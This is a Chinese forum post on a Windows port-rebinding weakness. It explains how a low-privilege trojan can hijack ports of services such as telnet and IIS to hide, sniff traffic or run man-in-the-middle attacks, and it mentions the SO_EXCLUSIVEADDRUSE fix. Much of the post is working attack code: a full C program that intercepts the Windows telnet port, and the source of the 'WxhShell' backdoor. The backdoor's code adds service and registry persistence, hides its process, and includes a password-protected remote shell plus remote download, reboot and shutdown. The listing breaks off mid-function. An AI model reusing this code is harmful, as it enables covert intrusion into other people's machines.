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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x^kp^ /f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =+U `-J} g  
B8B; y^b>i  
  saddr.sin_family = AF_INET; b4E:Wn9x  
lV1G<qP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [`^a=:*  
AG!w4Ky`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !G SV6  
v%"|WV[N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S{;sUGcu  
Pl=ZRKn  
  这意味着什么?意味着可以进行如下的攻击: R%Q@   
b~'"^ Bts*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V,q](bg  
Pa{%\dsv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BFL`!^  
uT}' Y)m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5]n[]FW  
V}dJ.I /#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FrTi+& <  
k`0>36  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A%`[mc]4#  
V'kX)$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zUKmxy@  
1+9W+$=h2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 POvP]G9'"  
Z8rvWH9  
  #include c lNkph  
  #include ~(Q)"s\1I  
  #include :^kZ.6Q@  
  #include    ^r*r w=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -7S g62THS  
  int main() Ezr:1 GJ  
  { /lo2y?CS*  
  WORD wVersionRequested; k 9L? +PD  
  DWORD ret; xZ6~Ma 2z  
  WSADATA wsaData; vH#huZA?7  
  BOOL val; g=;%  
  SOCKADDR_IN saddr; |2abmuR0  
  SOCKADDR_IN scaddr; W}5xmz  
  int err; kL$!E9  
  SOCKET s; B?4boF?~  
  SOCKET sc; n}'=yItVL1  
  int caddsize; vU767/  
  HANDLE mt; 95YL]3V  
  DWORD tid;   %] >KvoA  
  wVersionRequested = MAKEWORD( 2, 2 ); pgOQIzu  
  err = WSAStartup( wVersionRequested, &wsaData ); @^T1XX  
  if ( err != 0 ) { _~piZmkG$  
  printf("error!WSAStartup failed!\n"); 5\e9@1Rc  
  return -1; "tB;^jhRs  
  }  OU8Lldt  
  saddr.sin_family = AF_INET; Wzw7tLY._  
   ,QcF|~n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =K6($|'=  
XzIl`eH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j#+!\ft5  
  saddr.sin_port = htons(23); S,Xnzrz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1UE6 4Kl:S  
  { dYL"h.x  
  printf("error!socket failed!\n"); (+B5|_xQu  
  return -1; =>M^02"  
  } S" xKL{5  
  val = TRUE; R:#k%}W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +R|z{M)*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ; mZW{j  
  { s;3={e.  
  printf("error!setsockopt failed!\n"); rNB_W.  
  return -1; B oC5E#;G  
  } W3 'q\+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P/Q!<I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LN@F+CyDc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bI:zp!-.  
hJZV}a|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y *fDwd~  
  { fp+gyTnd3  
  ret=GetLastError(); H[S%J3JI  
  printf("error!bind failed!\n"); qYlhlHD  
  return -1; paKSr|O  
  } k} |   
  listen(s,2); ;4.!H,d  
  while(1) ;')T}wuq  
  { '7<@(HO  
  caddsize = sizeof(scaddr); UI4Xv  
  //接受连接请求 }fo?K|Xx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d\ &jl`8*  
  if(sc!=INVALID_SOCKET) !!c.cv'  
  { CDcs~PR@B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ccocv>=Q&J  
  if(mt==NULL) rr[9sk`^H  
  { IpxFME%!  
  printf("Thread Creat Failed!\n"); ] 05Q4  
  break; aNW&ib  
  } a<V=C  
  } ^yRCR] oT  
  CloseHandle(mt); b)u9#%Q  
  } fxLhVJ"b  
  closesocket(s); Jz#ZDZkm  
  WSACleanup(); O'."ca]:5  
  return 0; U6=m4]~Z  
  }   -}UC daQ3  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'q[V*4g  
  { 2597#O  
  SOCKET ss = (SOCKET)lpParam; .)Se-'  
  SOCKET sc; yh5KN_W  
  unsigned char buf[4096]; nWZrB s _  
  SOCKADDR_IN saddr; :;" 3k64  
  long num; B>47Ic  
  DWORD val; Pr<?E[  
  DWORD ret; gr=ke #   
  //如果是隐藏端口应用的话,可以在此处加一些判断 p,D/ Pb8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A|>a Gy  
  saddr.sin_family = AF_INET; XB;;OP12  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )KRO=~Y  
  saddr.sin_port = htons(23); =GR Em5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JsPuxu_  
  { *8XGo  
  printf("error!socket failed!\n"); y+ :<  
  return -1; _k+Bj.L  
  } k5xirB_  
  val = 100; N7#GK]n%/}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T  |j^  
  { ?qK:P  
  ret = GetLastError(); SwP h-6  
  return -1; ~`N|sI,  
  } Ar'5kPzY>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 56':U29.]  
  { K->p&6s  
  ret = GetLastError(); \O/=g6w|t}  
  return -1; 1g/mzC   
  } ac&tpvij  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L:^'cl} G  
  { |R[m&uOib  
  printf("error!socket connect failed!\n"); g*]<]%Py"  
  closesocket(sc); Q'=!1^&  
  closesocket(ss); Ns 9g>~  
  return -1; =q"3a9 pb7  
  } X>wQYIi  
  while(1) a,tP.Xsl  
  { oD}I{&=wa  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [}AcCXg`L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dvj`%?=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g{a0,B/j  
  num = recv(ss,buf,4096,0); >ab=LDoM  
  if(num>0) QDDSJ>l5_T  
  send(sc,buf,num,0); >%[W2L\'  
  else if(num==0) F% |(pHk  
  break; Z3/zUtgs  
  num = recv(sc,buf,4096,0); Gce_gZH7{  
  if(num>0) #\M<6n{  
  send(ss,buf,num,0); bIhL!Ty T.  
  else if(num==0) PQs9@]w[  
  break;  )Ob{]  
  } 2]'ozs$|v  
  closesocket(ss); ':[y]ep(~|  
  closesocket(sc); O|/tRkDMP{  
  return 0 ; U9q*zP_jV  
  } u J$"2<O  
_1Eyqh`oh  
Cm&itG  
========================================================== *5NffiA}-  
npF[J x[  
下边附上一个代码,,WXhSHELL Xgm7>=l  
TvP# /qGgG  
========================================================== cZ(XY}  
'SY &-<t(  
#include "stdafx.h" 83 n: h08  
bM'AD[  
#include <stdio.h> h Na<LZ  
#include <string.h>  96BMJE'  
#include <windows.h> ~,:f,FkSQ  
#include <winsock2.h> kmS8>O  
#include <winsvc.h> (!b: gG  
#include <urlmon.h> o6r4tpiR5  
^#4s/mdVO  
#pragma comment (lib, "Ws2_32.lib") ,y>Na{@Y  
#pragma comment (lib, "urlmon.lib") RD4)NN6y5}  
HT&0i,`  
#define MAX_USER   100 // 最大客户端连接数 x EBjfn  
#define BUF_SOCK   200 // sock buffer sHF vzE%  
#define KEY_BUFF   255 // 输入 buffer L`#+ZLo  
U,=K_oBAq  
#define REBOOT     0   // 重启 y AWDk0bx  
#define SHUTDOWN   1   // 关机 5c"kLq6r  
)=D&NO67Pq  
#define DEF_PORT   5000 // 监听端口 'GFzI:Xr  
|(%H O@i  
#define REG_LEN     16   // 注册表键长度 @K9T )p]  
#define SVC_LEN     80   // NT服务名长度 "|.(yN  
BUb(BzC  
// 从dll定义API zCHr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +[ItkfSod!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QP#Wfk(C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tX251S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T?Y\~.+99  
US4Um>j  
// wxhshell配置信息 v\Ljm,+  
struct WSCFG { +2SX4Kxu  
  int ws_port;         // 监听端口 GHy#D]Z  
  char ws_passstr[REG_LEN]; // 口令 c #kV+n<  
  int ws_autoins;       // 安装标记, 1=yes 0=no V5B-S.i@  
  char ws_regname[REG_LEN]; // 注册表键名 GcnY= %L?  
  char ws_svcname[REG_LEN]; // 服务名 "b 0cj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o!~bR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qedGBl&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N-gRfra+8L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kre&J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `dP+5u!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O@iW?9C+  
^>Y%L(>  
}; YJ$ewK4E#.  
L2'd sOn  
// default Wxhshell configuration +,Az\aT/%  
struct WSCFG wscfg={DEF_PORT, (fa?f tK  
    "xuhuanlingzhe", ZRB 0OH  
    1, Db(_T8sU  
    "Wxhshell", bZ.N7X PH  
    "Wxhshell", {yR)}r  
            "WxhShell Service", 4Umsc>yfK  
    "Wrsky Windows CmdShell Service", zXZ'nJ5OGG  
    "Please Input Your Password: ", N}fUBX4k  
  1, hyiMOa  
  "http://www.wrsky.com/wxhshell.exe", y.p6%E_`  
  "Wxhshell.exe" s&hA  
    }; yvCR =C  
`mjx4Lb  
// 消息定义模块 AwU c{h l<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nKB&|!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xn@0pL3B~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WEtA4zCO  
char *msg_ws_ext="\n\rExit."; 1~DD9z  
char *msg_ws_end="\n\rQuit."; Reu{   
char *msg_ws_boot="\n\rReboot..."; !y-2#  
char *msg_ws_poff="\n\rShutdown..."; t3t0vWE<,  
char *msg_ws_down="\n\rSave to "; _i[)$EgFm  
|<-F|v9og  
char *msg_ws_err="\n\rErr!"; U}w+`ZLN  
char *msg_ws_ok="\n\rOK!"; zN+* R;Ds  
:KSor}t  
char ExeFile[MAX_PATH]; ^Opy6Bqb  
int nUser = 0; d-;9L56{P  
HANDLE handles[MAX_USER]; (\t_Hs::a  
int OsIsNt; 8i;)|z7  
W Gw!Y1wq  
SERVICE_STATUS       serviceStatus; oL Vtu5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [W$Z60?RR  
,LW+7yD  
// 函数声明 1N9< d,  
int Install(void); u'i%~(:$\)  
int Uninstall(void); rS )b1nPA  
int DownloadFile(char *sURL, SOCKET wsh); =+`j?1  
int Boot(int flag); #[a"%byTR  
void HideProc(void); hiRR+`L%  
int GetOsVer(void); jD/7/G*  
int Wxhshell(SOCKET wsl); tB7K&ssi  
void TalkWithClient(void *cs); ~sU?"V  
int CmdShell(SOCKET sock); %,,`N I{  
int StartFromService(void); TcD[Teu  
int StartWxhshell(LPSTR lpCmdLine); !ml_S)  
X#DL/#z k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v0`qMBr1y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jefNiEE[  
8jggc#.  
// 数据结构和表定义 .vN%UNu  
SERVICE_TABLE_ENTRY DispatchTable[] = C NfJ:e2  
{ hB?,7-  
{wscfg.ws_svcname, NTServiceMain}, kz0I2!bt  
{NULL, NULL} eb!s'@  
}; 2"leUur~rO  
)d}H>Qx=  
// 自我安装 U['JFLF  
int Install(void) K[uY+!'1  
{ j9URl$T:  
  char svExeFile[MAX_PATH]; Rkpr8MS  
  HKEY key; 4<T*i{[  
  strcpy(svExeFile,ExeFile); t/KcXM  
7`IUMYl#~  
// 如果是win9x系统,修改注册表设为自启动 .!yWF?T8  
if(!OsIsNt) { \ fK47oV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6| *(dE2x(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VY/|WD~"CW  
  RegCloseKey(key); =Kc|C~g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =[]x\&@t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nW|'l^&  
  RegCloseKey(key); sULIrYRA  
  return 0; 5LQk8NPh  
    } |XKOXa3.  
  } nnt8 sf@\  
} :`0'GM" `  
else { o 'C~~Vg).  
YBX)eWslK  
// 如果是NT以上系统,安装为系统服务 "7=bL7wM&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dv<wge`  
if (schSCManager!=0) 6xH;: B)d  
{ EXA^!/)  
  SC_HANDLE schService = CreateService 4|[<e-W  
  ( ,~(|p`  
  schSCManager, :KEq<fEI  
  wscfg.ws_svcname, ,*/Pg 52?  
  wscfg.ws_svcdisp, vO\:vp4fH  
  SERVICE_ALL_ACCESS, [6AHaOhR'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _ XE;-weE  
  SERVICE_AUTO_START, B!eK!B  
  SERVICE_ERROR_NORMAL, glv ;C/l  
  svExeFile, 9%sFJ  
  NULL, :<L5sp  
  NULL, LU%#mY  
  NULL, yahAD.Xuo@  
  NULL, H#OYw#L"u  
  NULL K[kds`  
  ); >K\3*]>J3  
  if (schService!=0) C 8N%X2R  
  { Gb;99mE  
  CloseServiceHandle(schService); _=pWG^a  
  CloseServiceHandle(schSCManager); >w9sE8i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H"eS<eT  
  strcat(svExeFile,wscfg.ws_svcname); 6 jmrD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { alFNSRY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G~"z_ (  
  RegCloseKey(key); ` M:DZNy,  
  return 0; C,fY.CeI  
    } eH %Ja[  
  } I_ONbJ9]  
  CloseServiceHandle(schSCManager); P$g^vS+  
} 1B 5:s,Oyj  
} Nb0Ik/:<  
yNBv-oe5  
return 1; 3A_G=WaED  
} S<"oUdkz  
HmMO*k<6@  
// 自我卸载 Vz{>cSz#  
int Uninstall(void) V43TO  
{ 6#U^< `  
  HKEY key; sf$o(^P9\A  
M ,`w A  
if(!OsIsNt) { J/ vK6cO\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cMaOM}mS  
  RegDeleteValue(key,wscfg.ws_regname); Lkn4<'un  
  RegCloseKey(key); \|.7-X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J? .F\`N)  
  RegDeleteValue(key,wscfg.ws_regname); A (okv  
  RegCloseKey(key); dxK9:IX  
  return 0; ZIDbqQu  
  } 6Z?Su(s(5  
} ~Wei|,w'<  
} D/CIA8h3  
else { ]n;1x1'  
i7w(S3a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^`XCT  
if (schSCManager!=0) !X]8dyW  
{ ; b*i3*!g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wP<07t[-g  
  if (schService!=0)  cG{L jt  
  { Z.1> kZ  
  if(DeleteService(schService)!=0) { [ *>AN7W   
  CloseServiceHandle(schService); *z8|P#@  
  CloseServiceHandle(schSCManager); D=+NxR[  
  return 0; e2cP *J  
  } 69OF_/23  
  CloseServiceHandle(schService); Z6Fp\aI8@  
  } %%JMb=!%2  
  CloseServiceHandle(schSCManager); %\Wf^6Y^  
} k XrlSaIc  
} "N5!mpD"  
/.1. MssQM  
return 1; M{mSd2  
} aG%, cQ1  
Ba'LRz  
// 从指定url下载文件 Fmr}o(q1  
int DownloadFile(char *sURL, SOCKET wsh) >V$ Gx>I  
{ y*23$fj(  
  HRESULT hr; }`\/f  
char seps[]= "/"; 2%u;$pj  
char *token; B9,^mE#  
char *file; r] Lc9dL  
char myURL[MAX_PATH]; )B$;Vs] @i  
char myFILE[MAX_PATH]; 8}s.Fg@tE  
_iV]_\0W2  
strcpy(myURL,sURL); $O)3 q $|  
  token=strtok(myURL,seps); '#/G,%m<!i  
  while(token!=NULL) nh>K`+>co  
  { O1'm@ q)  
    file=token; OEx^3z^  
  token=strtok(NULL,seps); $*R/tJ.  
  } -E"GX  
^Yj xeNY  
GetCurrentDirectory(MAX_PATH,myFILE); QPt Gdd  
strcat(myFILE, "\\"); Q[F}r`  
strcat(myFILE, file); @&|l^ 1  
  send(wsh,myFILE,strlen(myFILE),0); wV\gj~U;P  
send(wsh,"...",3,0); \p{5D`HY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xg_D f,  
  if(hr==S_OK) Y5ZZ3Ati  
return 0; UFAL1c<V  
else 6(d}W2GP  
return 1; 9}a_:hAy/  
Z[__"^}  
} jO*l3:!~\  
0sca4G0{  
// 系统电源模块 sm[94,26  
int Boot(int flag) s, k  
{ ABE@n%|`  
  HANDLE hToken; JM1R ;i6  
  TOKEN_PRIVILEGES tkp; ]0hrRA`  
=0uAE7q(9  
  if(OsIsNt) { )XcOl7XLN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N_:qRpp6i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AKMm&(fh%  
    tkp.PrivilegeCount = 1; b)(?qfXWP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;22oY>w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sBrI}[oyx  
if(flag==REBOOT) { r{l(O,|e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y6]vl=^L  
  return 0; GFr|E8  
} ( =~&+z  
else { UfS%71l.$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UG=K|OXWJ  
  return 0; Jgnhn>dHe  
} RV@*c4KvO+  
  } >4t+:Ut:  
  else { )iFJz/n>  
if(flag==REBOOT) { AU2i%Q!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) giz7{Ai  
  return 0; c("_bOAT  
} ~NW32 O)/  
else { /7gOSwY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O)vp~@ |  
  return 0; 6{txm+U  
} LD!Q8"  
} VkZ7#  
Yk=PS[f  
return 1; 8<Hf" M  
} T#>7ub  
'3uVkp 6tF  
// win9x进程隐藏模块 >y,-v:Vy  
void HideProc(void) <>Hj ;q5p  
{ i-6 Z"b{  
%$b:X5$Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w!D|]LoE  
  if ( hKernel != NULL ) -,U3fts  
  { <)3u6Vky9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EVGt 5z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b9l;a+]d  
    FreeLibrary(hKernel); =uS9JU^E  
  } O&Y*pOg  
_fKou2$yz  
return; 2 O%`G+\)  
} =|Y,+/R?  
s=;uc] 9g  
// 获取操作系统版本 t;}:waZD  
int GetOsVer(void) T \_ ]^]>  
{ 5rU[ T ir  
  OSVERSIONINFO winfo; z*!%g[3I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rd#WMo2Xd  
  GetVersionEx(&winfo); J|qZ+A[z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y]f"@9G#  
  return 1; VcXq?f>\  
  else (^Y~/  
  return 0; C@'h<[v`1v  
} `)_dS&_\  
q-}Fvel u  
// 客户端句柄模块 qm"rY\:  
int Wxhshell(SOCKET wsl) ,)vDeU  
{ 75XJL;W #  
  SOCKET wsh; F9,DrB,B{  
  struct sockaddr_in client; !1$])VQWI  
  DWORD myID; 7+\+DujE$  
8@MV%MVy$  
  while(nUser<MAX_USER) hpO`]  
{ n(;|q&3  
  int nSize=sizeof(client); |#]@Z)xa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R#%(5-Zu#R  
  if(wsh==INVALID_SOCKET) return 1; K/IWH[  
v>Q #B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E87Ww,z8  
if(handles[nUser]==0) CxwoBuG=?  
  closesocket(wsh); zh8nc%X{  
else 1H6<[iHW  
  nUser++; fSK]|"c  
  } S[PE$tYT#t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &,{fw@#)_  
au: fw  
  return 0; S4Y&  
} nn@-W]  
a7r%X -  
// 关闭 socket ' aq!^!z  
void CloseIt(SOCKET wsh) J&W)(Cf  
{ QdF5Cwf4  
closesocket(wsh); ZX9TYN  
nUser--; <>y;.@}Q  
ExitThread(0); <m)$K  
} O}-jCW;K  
le/,R@]B9  
// 客户端请求句柄 I>]oS(GNT  
void TalkWithClient(void *cs) *>7>g"  
{ gQWa24  
[ 9 {*94M  
  SOCKET wsh=(SOCKET)cs; Wbr|_W  
  char pwd[SVC_LEN]; We$:&K0  
  char cmd[KEY_BUFF]; *|%@6I(  
char chr[1]; x@P y>f2  
int i,j; l?Udn0F  
uwzvbgup?  
  while (nUser < MAX_USER) { Rdvk ml@@  
~.{/0T  
if(wscfg.ws_passstr) { O#:$^#j&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ktb\ bw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Dk=? +  
  //ZeroMemory(pwd,KEY_BUFF); \KMToN&2  
      i=0; 60P#,o@G  
  while(i<SVC_LEN) { I4/8 _)b^  
[ey:e6,T9  
  // 设置超时 R "n 5  
  fd_set FdRead; +giyX7BPJ  
  struct timeval TimeOut; bLlKe50  
  FD_ZERO(&FdRead); U 9_9l7&r  
  FD_SET(wsh,&FdRead); LJd5;so-  
  TimeOut.tv_sec=8; Gw>^[dmt!  
  TimeOut.tv_usec=0; QLXN*c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qaiNz S@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .L9j>iP9 *  
fol,xMc&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !}YAdZJ  
  pwd=chr[0]; +o\:d1y  
  if(chr[0]==0xd || chr[0]==0xa) { RN$1bxY  
  pwd=0; h].<t&  
  break; wW7eT~w  
  } +c(zo4nZ  
  i++; a|%J=k>>  
    } L^E[J`  
v*'^r)Q[p  
  // 如果是非法用户,关闭 socket F~T]u2qt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (U&tt]|  
} /xsF90c\h  
U &C!}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9!6f-K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f%SZg!+t  
x.7]/)  
while(1) { kStnb?nk  
?3nR  
  ZeroMemory(cmd,KEY_BUFF); h]Wr [v  
6g 5#TpCh  
      // 自动支持客户端 telnet标准    3L< wQ(  
  j=0; `P@T$bC  
  while(j<KEY_BUFF) { u?4:H=;>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QN #U)wn:  
  cmd[j]=chr[0]; T ? $:'XJ  
  if(chr[0]==0xa || chr[0]==0xd) { _y),J'W^3u  
  cmd[j]=0; S]bmS6#  
  break; @OV|]u  
  } 0+?7EL~  
  j++; xDG2ws=@D  
    } ,=UK}*e"  
3Ndq>  
  // 下载文件 qs1 ?IYD  
  if(strstr(cmd,"http://")) { v'U{/ ,x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + ,%&e  
  if(DownloadFile(cmd,wsh)) `);AW(Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q3 u8bx|E  
  else T^Y([23  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6N",- c  
  } v>$'iT~l  
  else { "]"|"0#i  
V,mw[Hw  
    switch(cmd[0]) { C69q&S,  
  ix([mQg  
  // 帮助 u -;_y='m  
  case '?': { uehDIl0\[b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Grxw[(_:  
    break; n2]/v{E;/  
  } U* i{5/$  
  // 安装 ePr&!Tz#  
  case 'i': { qT%FmX  
    if(Install()) &^#VN%{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -&3hEv5  
    else M[mF8Zf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SSPHhAeH8  
    break; }])oM|fgO  
    } F ~^Jmp7Y  
  // 卸载 U&Wt%U{  
  case 'r': { 6kNrYom  
    if(Uninstall()) L;*ljZ^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\@I*QP  
    else `+o 2DA)#(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l5zS  
    break; eO?p*"p"F  
    } Ove<mFI\  
  // 显示 wxhshell 所在路径 Y&S24aql  
  case 'p': { x[$z({Yf  
    char svExeFile[MAX_PATH]; [P&7i57  
    strcpy(svExeFile,"\n\r"); qAn!RkA  
      strcat(svExeFile,ExeFile); VHCK2}ps  
        send(wsh,svExeFile,strlen(svExeFile),0); 0\[Chja  
    break; ,cB\  
    } WU quN  
  // 重启 8n'B6hi  
  case 'b': { g;2?F[8Th  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JT3-AAi[Z  
    if(Boot(REBOOT)) ,q}ML TS i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l038%U~U!  
    else { 9QDFEYG  
    closesocket(wsh); jN[`L%Qm   
    ExitThread(0); 0`X]o'RxS  
    } )n2 re?S  
    break; fA+ ,TEB~d  
    } FFu9&8Y  
  // 关机 v^#~98g]  
  case 'd': { y%%}k  
